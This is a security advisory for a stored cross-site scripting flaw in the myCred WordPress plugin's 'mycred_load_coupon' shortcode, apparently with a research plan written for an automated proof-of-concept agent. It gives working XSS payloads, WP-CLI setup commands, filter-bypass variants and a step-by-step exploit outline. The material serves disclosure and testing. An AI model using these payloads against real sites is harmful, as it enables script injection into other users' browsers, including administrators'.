myCred <= 2.9.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'mycred_load_coupon' Shortcode
Description
The myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mycred_load_coupon' shortcode in all versions up to, and including, 2.9.7.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.9.7.3Source Code
WordPress.org SVN## Vulnerability Research Plan: CVE-2026-0550 ### 1. Vulnerability Summary The myCred plugin (up to version 2.9.7.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. This issue exists within the `mycred_load_coupon` shortcode. The plugin fails to adequately sanitize or escape user-provided a…
Show full research plan
Vulnerability Research Plan: CVE-2026-0550
1. Vulnerability Summary
The myCred plugin (up to version 2.9.7.3) is vulnerable to Stored Cross-Site Scripting (XSS). This issue exists within the mycred_load_coupon shortcode. The plugin fails to adequately sanitize or escape user-provided attributes within this shortcode before rendering them on the page. An authenticated user with Contributor level access (or higher) can embed malicious scripts into a post or page using these attributes. When any user (including administrators) views the affected page, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (
/wp-admin/post-new.phpor via REST API). - Vulnerable Component: The
mycred_load_couponshortcode handler. - Trigger: Shortcode attribute values (e.g.,
class,id, orplaceholder). - Authentication: Requires Contributor+ privileges (the ability to create or edit posts).
- Payload Location: The shortcode is stored in the
post_contentfield of thewp_poststable.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook:add_shortcode( 'mycred_load_coupon', '...' );(likely inincludes/mycred-shortcodes.phpor similar). - Processing: When a post is viewed, WordPress calls
do_shortcode(), which triggers the registered callback function formycred_load_coupon. - Attribute Handling: The callback function extracts attributes using
shortcode_atts(). - Vulnerable Sink: The extracted attributes (e.g.,
$atts['class']) are concatenated directly into an HTML string (e.g., a<div>or<input>tag) and returned to the renderer without using escaping functions likeesc_attr()oresc_html(). - Rendering: The unsanitized HTML is output to the browser.
4. Nonce Acquisition Strategy
This is a Stored XSS vulnerability where the payload is delivered via post content.
- Placement: No specific plugin-level nonce is required to place the shortcode in a post; the attacker relies on the standard WordPress post creation/editing capability.
- AJAX Interaction (If applicable): If the
mycred_load_couponshortcode functions by rendering a button that triggers an AJAX call to load a coupon (themycred_load_couponaction), we should check for a nonce in that AJAX call.- Inferred JS Variable:
myCredLoadCouponormycred_vars. - Inferred Nonce Key:
nonceormycred_load_coupon_nonce.
- Inferred JS Variable:
- Strategy for PoC Agent:
- The agent will first attempt to exploit the direct rendering of the shortcode attribute.
- If the XSS fires only on an interaction (like clicking a button rendered by the shortcode), the agent will navigate to the page and use
browser_evalto find any localized nonces if needed for subsequent AJAX-based XSS steps.
5. Exploitation Strategy
- Authentication: Log in as a user with the Contributor role.
- Payload Selection: Use a classic attribute breakout payload.
- Payload A (Attribute Breakout):
[mycred_load_coupon class='"><script>alert(document.domain)</script>'] - Payload B (Event Handler):
[mycred_load_coupon class='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
- Payload A (Attribute Breakout):
- Injection: Use
wp post createto generate a page containing the payload. - Trigger: Navigate to the newly created page as an Administrator.
- Verification: Check if the script executes (e.g., by observing an alert or verifying the presence of the unescaped script tag in the DOM via
browser_eval).
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post: Create a draft or published post containing the malicious shortcode.
wp post create --post_type=post --post_status=publish --post_title="Coupon Page" --post_author=$(wp user get attacker --field=ID) --post_content='[mycred_load_coupon class="\"><script>console.log(\"XSS_TRIGGERED\")</script>"]'
7. Expected Results
- The HTTP response for the page view will contain the raw, unescaped string:
<div class=""><script>console.log("XSS_TRIGGERED")</script>">(or similar, depending on the exact HTML structure generated by the shortcode). - When viewed in a browser, the JavaScript console should display
XSS_TRIGGERED.
8. Verification Steps
- Source Check: Retrieve the post content via WP-CLI to ensure the shortcode was saved correctly.
wp post get <POST_ID> --field=post_content - DOM Inspection: Use the
browser_navigateandbrowser_evaltools to check if the script tag exists in the rendered HTML.browser_eval("document.body.innerHTML.includes('XSS_TRIGGERED')") - Check for escaping: Verify that the output does NOT look like
class=""><script>...".
9. Alternative Approaches
- Attribute Variations: If
classis sanitized, try other potential attributes likeid,placeholder,label,button_text, orurl. - Shortcode Context: If the shortcode requires a valid coupon ID to render, first find or create a myCred coupon.
wp eval "mycred_create_coupon(array('code' => 'TEST123', 'amount' => 10));"(Note: This depends on internal myCred functions).
- Bypass Filtering: If simple
<script>tags are blocked by a WAF or basic filter, use event handlers:[mycred_load_coupon class='x" onfocus="alert(1)" autofocus="']
Summary
The myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mycred_load_coupon' shortcode in versions up to 2.9.7.3. Authenticated attackers with Contributor-level access or higher can inject arbitrary scripts into posts through unsanitized shortcode attributes such as 'class', which execute in the browser of any user viewing the page.
Exploit Outline
1. Log in to the WordPress dashboard with at least Contributor-level permissions. 2. Create a new post or edit an existing one via the Gutenberg editor or Classic editor. 3. Insert the 'mycred_load_coupon' shortcode with a malicious payload in an attribute, for example: [mycred_load_coupon class='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or publish it. 5. Navigate to the public-facing URL of the post (or have an administrator view it). The script will execute because the plugin fails to escape the attribute value before rendering it in the HTML output.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.